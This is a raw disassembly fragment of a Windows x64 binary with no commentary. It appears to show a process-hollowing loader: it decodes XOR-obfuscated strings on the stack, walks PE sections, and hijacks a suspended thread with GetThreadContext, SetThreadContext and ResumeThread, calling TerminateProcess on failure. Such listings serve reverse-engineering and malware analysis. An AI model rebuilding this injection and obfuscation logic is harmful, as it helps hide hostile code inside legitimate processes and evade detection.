xorps xmm1, xmmword [rsp + 0x240]
movdqa xmmword [rsp + 0x240], xmm1
lea rax, [rsp + 0x230]
mov qword [rsp + 0xb70], rax
lea rcx, [rsp + 0x230]
mov rax, r15
inc rax
cmp byte [rcx + rax], sil
jne 0x14018ee70
mov qword [rsp + 0xb78], rax
mov qword [rsp + 0xb60], rsi
lea rax, [rsp + 0x1ab8]
mov qword [rsp + 0xb68], rax
movaps xmm0, xmmword [rsp + 0xb60]
movdqa xmmword [rsp + 0x1180], xmm0
movaps xmm1, xmmword [rsp + 0xb70]
movdqa xmmword [rsp + 0x1240], xmm1
lea r8, [rsp + 0x1180]
lea rdx, [rsp + 0x1240]
lea rcx, [rsp + 0x948]
call fcn.140aa3350
nop
lea rdx, [rsp + 0x948]
mov rcx, qword [rsp + 0x68]
call fcn.1401628bc
nop
mov rdx, qword [rsp + 0x960]
cmp rdx, r14
jbe 0x14018ef2a
inc rdx
mov rcx, qword [rsp + 0x948]
mov rax, rcx
cmp rdx, r12
jb 0x14018ef25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140190840
call fcn.140cd8948
mov qword [rsp + 0x958], rsi
mov qword [rsp + 0x960], r14
mov byte [rsp + 0x948], sil
mov r8, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x80]
mov r9, qword [rsp + 0x88]
mov rax, qword [rsp + 0xa0]
inc rax
mov qword [rsp + 0xa0], rax
cmp rax, rcx
jb 0x14018dca0
mov r10, qword [rsp + 0x710]
mov eax, dword [rsp + 0x16c]
cmp rdx, rax
jb 0x14018dc56
mov rcx, qword [rsp + 0xa8]
add qword [rsp + 0x100], 0x28
mov edx, dword [rsp + 0xf0]
inc edx
mov dword [rsp + 0xf0], edx
movzx eax, word [rcx + 6]
cmp edx, eax
jae 0x14018efc9
mov rax, qword [rsp + 0x100]
jmp 0x14018da03
mov rdi, qword [rsp + 0x188]
mov dword [rsp + 0x21e0], 0x100002
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
mov ecx, eax
mov rax, qword [0x1410a1040]
mov qword [rsp + 0x168], rax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x340], rax
movabs rax, 0x15ba44c0d588f37
mov qword [rsp + 0x348], rax
movabs rax, 0x34054c1b2cd329b5
mov qword [rsp + 0x350], rax
movabs rax, 0x97531e63fa86dbb9
mov qword [rsp + 0x358], rax
movabs rax, 0x3ddd92154bba277
mov qword [rsp + 0x360], rax
movabs rax, 0x23c8714c91be779c
mov qword [rsp + 0x368], rax
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xba0], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xba8], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xbb0], rax
movabs rax, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0xbb8], rax
movabs rax, 0x4afdbd4031c9ca23
mov qword [rsp + 0xbc0], rax
movabs rax, 0x23c87131ea9e4dd8
mov qword [rsp + 0xbc8], rax
movdqa xmm0, xmmword [rsp + 0xba0]
xorps xmm0, xmmword [rsp + 0x340]
movdqa xmmword [rsp + 0x340], xmm0
movdqa xmm1, xmmword [rsp + 0xbb0]
xorps xmm1, xmmword [rsp + 0x350]
movdqa xmmword [rsp + 0x350], xmm1
movdqa xmm0, xmmword [rsp + 0xbc0]
xorps xmm0, xmmword [rsp + 0x360]
movdqa xmmword [rsp + 0x360], xmm0
lea rax, [rsp + 0x340]
mov qword [rsp + 0xb80], rax
lea rax, [rsp + 0x340]
inc r15
cmp byte [rax + r15], sil
jne 0x14018f135
mov qword [rsp + 0xb88], r15
movaps xmm1, xmmword [rsp + 0xb80]
mov dword [rsp + 0x1460], ecx
movaps xmm0, xmmword [rsp + 0x1460]
movdqa xmmword [rsp + 0x1470], xmm0
mov qword [rsp + 0xb90], 2
lea rax, [rsp + 0x1470]
mov qword [rsp + 0xb98], rax
movaps xmm0, xmmword [rsp + 0xb90]
movdqa xmmword [rsp + 0x1480], xmm0
movdqa xmmword [rsp + 0x1490], xmm1
lea r8, [rsp + 0x1480]
lea rdx, [rsp + 0x1490]
lea rcx, [rsp + 0x8e8]
call fcn.140aa3350
nop
lea rdx, [rsp + 0x8e8]
mov rcx, qword [rsp + 0x168]
call fcn.1401627f4
nop
mov rdx, qword [rsp + 0x900]
cmp rdx, r14
jbe 0x14018f21e
inc rdx
mov rcx, qword [rsp + 0x8e8]
mov rax, rcx
cmp rdx, r12
jb 0x14018f209
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140190846
call fcn.140cd8948
mov rdi, qword [rsp + 0x188]
mov rbx, qword [rsp + 0x98]
mov qword [rsp + 0x8f8], rsi
mov qword [rsp + 0x900], r14
mov byte [rsp + 0x8e8], sil
lea rdx, [rsp + 0x21b0]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14019084c
mov rax, qword [rsp + 0xa8]
mov eax, dword [rax + 0x28]
add rax, qword [rsp + 0x70]
mov qword [rsp + 0x2230], rax
lea rdx, [rsp + 0x21b0]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x140190a3d
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov r14d, dword [rbx + 0x10]
mov edx, 0x18
mov rcx, rbx
call fcn.140cd8948
nop
test rdi, rdi
je 0x14018f2b1
mov edx, 0x68
mov rcx, rdi
call fcn.140cd8948
nop
mov rcx, qword [r13]
test rcx, rcx
je 0x14018f2f3
mov rdx, qword [r13 + 0x10]
sub rdx, rcx
cmp rdx, r12
jb 0x14018f2e2
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140190c2e
mov rcx, r8
call fcn.140cd8948
mov qword [r13], rsi
mov qword [r13 + 8], rsi
mov qword [r13 + 0x10], rsi
mov rax, r14
jmp 0x14018c945
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x150], eax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x540], rax
movabs rax, 0x551cae4015458b22
mov qword [rsp + 0x548], rax
movabs rax, 0x3251491f3bc261ae
mov qword [rsp + 0x550], rax
movabs rax, 0xc4010f78f080c5f6
mov qword [rsp + 0x558], rax
movabs rax, 0x708fd232438cea02
mov qword [rsp + 0x560], rax
movabs rax, 0x23c87131eae336f8
mov qword [rsp + 0x568], rax
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xc60], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xc68], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xc70], rax
movabs rax, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0xc78], rax
movabs rax, 0x4afdbd4031c9ca23
mov qword [rsp + 0xc80], rax
movabs rax, 0x23c87131ea9e4dd8
mov qword [rsp + 0xc88], rax
movdqa xmm0, xmmword [rsp + 0xc60]
xorps xmm0, xmmword [rsp + 0x540]
movdqa xmmword [rsp + 0x540], xmm0
movdqa xmm1, xmmword [rsp + 0xc70]
xorps xmm1, xmmword [rsp + 0x550]
movdqa xmmword [rsp + 0x550], xmm1
movdqa xmm0, xmmword [rsp + 0xc80]
xorps xmm0, xmmword [rsp + 0x560]
movdqa xmmword [rsp + 0x560], xmm0
lea rdx, [rsp + 0x540]
lea rcx, [rsp + 0x18b8]
call fcn.140155a20
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x11d0], xmm0
lea rdx, [rsp + 0x11d0]
lea rcx, [rsp + 0x18c8]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x11e0], xmm1
lea rdx, [rsp + 0x11e0]
lea rcx, [rsp + 0x18d8]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x1220], xmm1
lea r8, [rsp + 0x150]
lea rdx, [rsp + 0x1220]
lea rcx, [rsp + 0x1e70]
call fcn.140191008
nop
mov rdx, rax
lea rcx, [rsp + 0x17d8]
call fcn.14015e464
lea rdx, [0x141007ae8]
lea rcx, [rsp + 0x17d8]
call fcn.140cded0c
nop
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x460], rax
movabs rax, 0x481cb35718428326
mov qword [rsp + 0x468], rax
movabs rax, 0x765c5c0a24c461b2
mov qword [rsp + 0x470], rax
movabs rax, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0x478], rax
movabs rcx, 0xc9317f442dba6acf
mov qword [rsp + 0xd50], rcx
movabs rcx, 0x213cca25792cea64
mov qword [rsp + 0xd58], rcx
movabs rcx, 0x5725287a49a141c1
mov qword [rsp + 0xd60], rcx
mov qword [rsp + 0xd68], rax
movdqa xmm0, xmmword [rsp + 0x460]
xorps xmm0, xmmword [rsp + 0xd50]
movdqa xmmword [rsp + 0x460], xmm0
movdqa xmm1, xmmword [rsp + 0x470]
xorps xmm1, xmmword [rsp + 0xd60]
movdqa xmmword [rsp + 0x470], xmm1
lea rdx, [rsp + 0x460]
lea rcx, [rsp + 0x18e8]
call fcn.140155a20
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x10c0], xmm0
lea rdx, [rsp + 0x10c0]
lea rcx, [rsp + 0x18f8]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x10d0], xmm1
lea rdx, [rsp + 0x10d0]
lea rcx, [rsp + 0x1908]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x10e0], xmm1
lea rdx, [rsp + 0x10e0]
lea rcx, [rsp + 0x1e90]
call fcn.140190fc0
nop
mov rdx, rax
lea rcx, [rsp + 0x16a0]
call fcn.14015e464
lea rdx, [0x141007ae8]
lea rcx, [rsp + 0x16a0]
call fcn.140cded0c
nop
call fcn.1401514ac
nop
call fcn.140cf5acc
nop
call fcn.140cf5acc
nop
call fcn.140cf5acc
nop
call fcn.1401514ac
nop
lea r8, [rsp + 0x1098]
mov edx, eax
lea rcx, str.directory_iterator::directory_iterator
call fcn.14016d07c
nop
call fcn.140cf5acc
nop
call fcn.140cf5acc
int3
mov r8, rdi
mov edx, eax
lea rcx, str.remove
call fcn.14016d07c
mov edx, eax
lea rcx, str.directory_iterator::operator
call fcn.14016d024
nop
movabs rax, 0xbe111b2141d30b89
mov qword [rsp + 0x440], rax
movabs rax, 0x153be051c588316
mov qword [rsp + 0x448], rax
movabs rax, 0x5725287a2ccd28a7
mov qword [rsp + 0x450], rax
movabs rax, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0x458], rax
movabs rcx, 0xc9317f442dba6acf
mov qword [rsp + 0xd90], rcx
movabs rcx, 0x213cca25792cea64
mov qword [rsp + 0xd98], rcx
movabs rcx, 0x5725287a49a141c1
mov qword [rsp + 0xda0], rcx
mov qword [rsp + 0xda8], rax
movdqa xmm0, xmmword [rsp + 0x440]
xorps xmm0, xmmword [rsp + 0xd90]
movdqa xmmword [rsp + 0x440], xmm0
movdqa xmm1, xmmword [rsp + 0xda0]
xorps xmm1, xmmword [rsp + 0x450]
movdqa xmmword [rsp + 0x450], xmm1
lea rdx, [rsp + 0x440]
lea rcx, [rsp + 0x1938]
call fcn.140155a20
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1110], xmm0
lea rdx, [rsp + 0x1110]
lea rcx, [rsp + 0x1948]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x1120], xmm1
lea rdx, [rsp + 0x1120]
lea rcx, [rsp + 0x1958]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x1210], xmm1
lea rdx, [rsp + 0x1210]
lea rcx, [rsp + 0x1eb0]
call fcn.140190fc0
nop
mov rdx, rax
lea rcx, [rsp + 0x16b8]
call fcn.14015e464
lea rdx, [0x141007ae8]
lea rcx, [rsp + 0x16b8]
call fcn.140cded0c
nop
call fcn.140cf5acc
nop
call fcn.140cf5acc
nop
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x15c], eax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x510], rax
movabs rax, 0x551cae4015458b22
mov qword [rsp + 0x518], rax
movabs rax, 0x39054c1b26cd61ae
mov qword [rsp + 0x520], rax
movabs rax, 0xdb1e0e35f39ed1a2
mov qword [rsp + 0x528], rax
movabs rax, 0x708fd232438cea02
mov qword [rsp + 0x530], rax
movabs rax, 0x23c87131eae336f8
mov qword [rsp + 0x538], rax
mov qword [rsp + 0xf30], r14
mov qword [rsp + 0xf38], r15
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xf40], rax
movabs rax, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0xf48], rax
movabs rax, 0x4afdbd4031c9ca23
mov qword [rsp + 0xf50], rax
movabs rax, 0x23c87131ea9e4dd8
mov qword [rsp + 0xf58], rax
movdqa xmm0, xmmword [rsp + 0x510]
xorps xmm0, xmmword [rsp + 0xf30]
movdqa xmmword [rsp + 0x510], xmm0
movdqa xmm1, xmmword [rsp + 0xf40]
xorps xmm1, xmmword [rsp + 0x520]
movdqa xmmword [rsp + 0x520], xmm1
movdqa xmm0, xmmword [rsp + 0x530]
xorps xmm0, xmmword [rsp + 0xf50]
movdqa xmmword [rsp + 0x530], xmm0
lea rdx, [rsp + 0x510]
lea rcx, [rsp + 0x1968]
call fcn.140155a20
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1200], xmm0
lea rdx, [rsp + 0x1200]
lea rcx, [rsp + 0x1978]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x11f0], xmm1
lea rdx, [rsp + 0x11f0]
lea rcx, [rsp + 0x1988]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x1630], xmm1
lea r8, [rsp + 0x15c]
lea rdx, [rsp + 0x1630]
lea rcx, [rsp + 0x1ed0]
call fcn.140191008
nop
mov rdx, rax
lea rcx, [rsp + 0x16d0]
call fcn.14015e464
lea rdx, [0x141007ae8]
lea rcx, [rsp + 0x16d0]
call fcn.140cded0c
nop
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x4e0], rax
movabs rax, 0x551cae4015458b22
mov qword [rsp + 0x4e8], rax
movabs rax, 0x3251491f3bc261ae
mov qword [rsp + 0x4f0], rax
movabs rax, 0x9753047ef49dc1f6
mov qword [rsp + 0x4f8], rax
movabs rax, 0x31dd87325ebbb866
mov qword [rsp + 0x500], rax
movabs rax, 0x23c87131ea9e4da5
mov qword [rsp + 0x508], rax
mov qword [rsp + 0xf60], r14
mov qword [rsp + 0xf68], r15
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xf70], rax
movabs rax, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0xf78], rax
movabs rax, 0x4afdbd4031c9ca23
mov qword [rsp + 0xf80], rax
movabs rax, 0x23c87131ea9e4dd8
mov qword [rsp + 0xf88], rax
movdqa xmm0, xmmword [rsp + 0x4e0]
xorps xmm0, xmmword [rsp + 0xf60]
movdqa xmmword [rsp + 0x4e0], xmm0
movdqa xmm1, xmmword [rsp + 0x4f0]
xorps xmm1, xmmword [rsp + 0xf70]
movdqa xmmword [rsp + 0x4f0], xmm1
movdqa xmm0, xmmword [rsp + 0x500]
xorps xmm0, xmmword [rsp + 0xf80]
movdqa xmmword [rsp + 0x500], xmm0
lea rdx, [rsp + 0x4e0]
lea rcx, [rsp + 0x1998]
call fcn.140155a20
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1620], xmm0
lea rdx, [rsp + 0x1620]
lea rcx, [rsp + 0x19a8]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x1610], xmm1
lea rdx, [rsp + 0x1610]
lea rcx, [rsp + 0x19b8]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x1600], xmm1
lea r8, [rsp + 0x160]
lea rdx, [rsp + 0x1600]
lea rcx, [rsp + 0x1d10]
call fcn.140191008
nop
mov rdx, rax
lea rcx, [rsp + 0x1820]
call fcn.14015e464
lea rdx, [0x141007ae8]
lea rcx, [rsp + 0x1820]
call fcn.140cded0c
nop
call fcn.140cf5acc
int3
lea rcx, [rsp + 0x98]
call fcn.140190f30
xor edx, edx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x660], rax
movabs rax, 0x551cae4015458b22
mov qword [rsp + 0x668], rax
movabs rax, 0x7054c1b2cd361ae
mov qword [rsp + 0x670], rax
movabs rax, 0xd800185ebfd3f793
mov qword [rsp + 0x678], rax
movabs rax, 0x4afdbd3d4ae9f051
mov qword [rsp + 0x680], rax
movabs rdx, 0x23c87131ea9e4dd8
mov qword [rsp + 0x688], rdx
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xfc0], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xfc8], rax
movabs rcx, 0x5725287a49a141c1
mov qword [rsp + 0xfd0], rcx
movabs rax, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0xfd8], rax
movabs rax, 0x4afdbd4031c9ca23
mov qword [rsp + 0xfe0], rax
mov qword [rsp + 0xfe8], rdx
movdqa xmm0, xmmword [rsp + 0x660]
xorps xmm0, xmmword [rsp + 0xfc0]
movdqa xmmword [rsp + 0x660], xmm0
movdqa xmm1, xmmword [rsp + 0x670]
xorps xmm1, xmmword [rsp + 0xfd0]
movdqa xmmword [rsp + 0x670], xmm1
movdqa xmm0, xmmword [rsp + 0x680]
xorps xmm0, xmmword [rsp + 0xfe0]
movdqa xmmword [rsp + 0x680], xmm0
lea rdx, [rsp + 0x660]
lea rcx, [rsp + 0x19c8]
call fcn.140155a20
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x15b0], xmm0
lea rdx, [rsp + 0x15b0]
lea rcx, [rsp + 0x19d8]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x15a0], xmm1
lea rdx, [rsp + 0x15a0]
lea rcx, [rsp + 0x19e8]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x1590], xmm1
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x1590]
lea rcx, [rsp + 0x1d30]
call fcn.140162860
nop
mov rdx, rax
lea rcx, [rsp + 0x16e8]
call fcn.14015e464
lea rdx, [0x141007ae8]
lea rcx, [rsp + 0x16e8]
call fcn.140cded0c
nop
lea rcx, [rsp + 0x98]
call fcn.140190f30
xor edx, edx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x154], eax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x570], rax
movabs rax, 0x551cae4015458b22
mov qword [rsp + 0x578], rax
movabs rax, 0x7054c1b2cd361ae
mov qword [rsp + 0x580], rax
movabs rax, 0xd800185ebfd3f793
mov qword [rsp + 0x588], rax
movabs rax, 0x4afdbd3d4ae9f051
mov qword [rsp + 0x590], rax
movabs rcx, 0x23c87131ea9e4dd8
mov qword [rsp + 0x598], rcx
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xc30], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xc38], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xc40], rax
movabs rax, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0xc48], rax
movabs rax, 0x4afdbd4031c9ca23
mov qword [rsp + 0xc50], rax
mov qword [rsp + 0xc58], rcx
movdqa xmm0, xmmword [rsp + 0x570]
xorps xmm0, xmmword [rsp + 0xc30]
movdqa xmmword [rsp + 0x570], xmm0
movdqa xmm1, xmmword [rsp + 0x580]
xorps xmm1, xmmword [rsp + 0xc40]
movdqa xmmword [rsp + 0x580], xmm1
movdqa xmm0, xmmword [rsp + 0x590]
xorps xmm0, xmmword [rsp + 0xc50]
movdqa xmmword [rsp + 0x590], xmm0
lea rdx, [rsp + 0x570]
lea rcx, [rsp + 0x1888]
call fcn.140155a20
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x11a0], xmm0
lea rdx, [rsp + 0x11a0]
lea rcx, [rsp + 0x1898]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x11b0], xmm1
lea rdx, [rsp + 0x11b0]
lea rcx, [rsp + 0x18a8]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x11c0], xmm1
lea r8, [rsp + 0x154]
lea rdx, [rsp + 0x11c0]
lea rcx, [rsp + 0x1e50]
call fcn.140191008
nop
mov rdx, rax
lea rcx, [rsp + 0x17c0]
call fcn.14015e464
lea rdx, [0x141007ae8]
lea rcx, [rsp + 0x17c0]
call fcn.140cded0c
nop
mov dword [rsp + 0x128], 0xfffffffa
mov dword [rsp + 0x60], 0xfffffffa
lea rcx, [rsp + 0x98]
call fcn.140190f30
xor edx, edx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea rcx, [rsp + 0x128]
call fcn.14018c1f0
mov dword [rsp + 0x180], eax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x690], rax
movabs rax, 0x551cae4015458b22
mov qword [rsp + 0x698], rax
movabs rax, 0x7755491727d461ae
mov qword [rsp + 0x6a0], rax
movabs rax, 0xdb130472f89bc7b9
mov qword [rsp + 0x6a8], rax
movabs rax, 0x6adcd82750a4a303
mov qword [rsp + 0x6b0], rax
movabs rax, 0x58e84b4385ec3f9d
mov qword [rsp + 0x6b8], rax
movabs rax, 0x2c798eb5471728f8
mov qword [rsp + 0x6c0], rax
movabs rax, 0xf6db2f3c46e6119b
mov qword [rsp + 0x6c8], rax
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xd10], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xd18], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xd20], rax
movabs rax, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0xd28], rax
movabs rax, 0x4afdbd4031c9ca23
mov qword [rsp + 0xd30], rax
movabs rax, 0x23c87131ea9e4dd8
mov qword [rsp + 0xd38], rax
movabs rax, 0x4f0af7e6676b0885
mov qword [rsp + 0xd40], rax
movabs rcx, 0xf6db5247668a7dfa
mov qword [rsp + 0xd48], rcx
movdqa xmm0, xmmword [rsp + 0xd10]
xorps xmm0, xmmword [rsp + 0x690]
movdqa xmmword [rsp + 0x690], xmm0
movdqa xmm1, xmmword [rsp + 0xd20]
xorps xmm1, xmmword [rsp + 0x6a0]
movdqa xmmword [rsp + 0x6a0], xmm1
movdqa xmm0, xmmword [rsp + 0xd30]
xorps xmm0, xmmword [rsp + 0x6b0]
movdqa xmmword [rsp + 0x6b0], xmm0
movdqa xmm1, xmmword [rsp + 0xd40]
xorps xmm1, xmmword [rsp + 0x6c0]
movdqa xmmword [rsp + 0x6c0], xmm1
lea rdx, [rsp + 0x690]
lea rcx, [rsp + 0x1b88]
call fcn.140155a20
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1530], xmm0
lea rdx, [rsp + 0x1530]
lea rcx, [rsp + 0x1b98]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x1640], xmm1
lea rdx, [rsp + 0x1640]
lea rcx, [rsp + 0x1ba8]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x1650], xmm1
lea r9, [rsp + 0x180]
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x1650]
lea rcx, [rsp + 0x1df0]
call fcn.140191064
nop
mov rdx, rax
lea rcx, [rsp + 0x1778]
call fcn.14015e464
lea rdx, [0x141007ae8]
lea rcx, [rsp + 0x1778]
call fcn.140cded0c
nop
call fcn.140cf5acc
int3
mov dword [rsp + 0x118], 0xfffffffa
mov dword [rsp + 0x60], 0xfffffffa
lea rcx, [rsp + 0x98]
call fcn.140190f30
xor edx, edx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea rcx, [rsp + 0x118]
call fcn.14018c1f0
mov dword [rsp + 0x17c], eax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x6d0], rax
movabs rax, 0x551cae4015458b22
mov qword [rsp + 0x6d8], rax
movabs rax, 0x3646471625c061ae
mov qword [rsp + 0x6e0], rax
movabs rax, 0xc51d077ef2d2d0a2
mov qword [rsp + 0x6e8], rax
movabs rax, 0x3892cf3274e9eb5a
mov qword [rsp + 0x6f0], rax
movabs rax, 0x70e80d1197e56de2
mov qword [rsp + 0x6f8], rax
movabs rax, 0x342a9b8a06087bfc
mov qword [rsp + 0x700], rax
movabs rax, 0xf6db5247668a7d87
mov qword [rsp + 0x708], rax
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xcd0], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xcd8], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xce0], rax
movabs rax, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0xce8], rax
movabs rax, 0x4afdbd4031c9ca23
mov qword [rsp + 0xcf0], rax
movabs rax, 0x23c87131ea9e4dd8
mov qword [rsp + 0xcf8], rax
movabs rax, 0x4f0af7e6676b0885
mov qword [rsp + 0xd00], rax
movabs rcx, 0xf6db5247668a7dfa
mov qword [rsp + 0xd08], rcx
movdqa xmm0, xmmword [rsp + 0xcd0]
xorps xmm0, xmmword [rsp + 0x6d0]
movdqa xmmword [rsp + 0x6d0], xmm0
movdqa xmm1, xmmword [rsp + 0xce0]
xorps xmm1, xmmword [rsp + 0x6e0]
movdqa xmmword [rsp + 0x6e0], xmm1
movdqa xmm0, xmmword [rsp + 0xcf0]
xorps xmm0, xmmword [rsp + 0x6f0]
movdqa xmmword [rsp + 0x6f0], xmm0
movdqa xmm1, xmmword [rsp + 0xd00]
xorps xmm1, xmmword [rsp + 0x700]
movdqa xmmword [rsp + 0x700], xmm1
lea rdx, [rsp + 0x6d0]
lea rcx, [rsp + 0x1b58]
call fcn.140155a20
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1500], xmm0
lea rdx, [rsp + 0x1500]
lea rcx, [rsp + 0x1b68]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x1510], xmm1
lea rdx, [rsp + 0x1510]
lea rcx, [rsp + 0x1b78]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x1520], xmm1
lea r9, [rsp + 0x17c]
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x1520]
lea rcx, [rsp + 0x1dd0]
call fcn.140191064
nop
mov rdx, rax
lea rcx, [rsp + 0x1760]
call fcn.14015e464
lea rdx, [0x141007ae8]
lea rcx, [rsp + 0x1760]
call fcn.140cded0c
nop
call fcn.140cf5acc
int3
call fcn.140cf5acc
int3
lea rcx, [rsp + 0x98]
call fcn.140190f30
xor edx, edx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x170], eax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x630], rax
movabs rax, 0x551cae4015458b22
mov qword [rsp + 0x638], rax
movabs rax, 0x77405c133bd661ae
mov qword [rsp + 0x640], rax
movabs rax, 0x9601187efb93d0be
mov qword [rsp + 0x648], rax
movabs rax, 0x6ac7cf2f43bb8f03
mov qword [rsp + 0x650], rax
movabs rax, 0x23c87131ea9e30a3
mov qword [rsp + 0x658], rax
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0x1020], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0x1028], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0x1030], rax
movabs rax, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0x1038], rax
movabs rax, 0x4afdbd4031c9ca23
mov qword [rsp + 0x1040], rax
movabs rax, 0x23c87131ea9e4dd8
mov qword [rsp + 0x1048], rax
movdqa xmm0, xmmword [rsp + 0x630]
xorps xmm0, xmmword [rsp + 0x1020]
movdqa xmmword [rsp + 0x630], xmm0
movdqa xmm1, xmmword [rsp + 0x640]
xorps xmm1, xmmword [rsp + 0x1030]
movdqa xmmword [rsp + 0x640], xmm1
movdqa xmm0, xmmword [rsp + 0x650]
xorps xmm0, xmmword [rsp + 0x1040]
movdqa xmmword [rsp + 0x650], xmm0
lea rdx, [rsp + 0x630]
lea rcx, [rsp + 0x1a08]
call fcn.140155a20
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x13c0], xmm0
lea rdx, [rsp + 0x13c0]
lea rcx, [rsp + 0x1a18]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x13b0], xmm1
lea rdx, [rsp + 0x13b0]
lea rcx, [rsp + 0x1a28]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x13a0], xmm1
lea r8, [rsp + 0x170]
lea rdx, [rsp + 0x13a0]
lea rcx, [rsp + 0x1d50]
call fcn.140191008
nop
mov rdx, rax
lea rcx, [rsp + 0x1700]
call fcn.14015e464
lea rdx, [0x141007ae8]
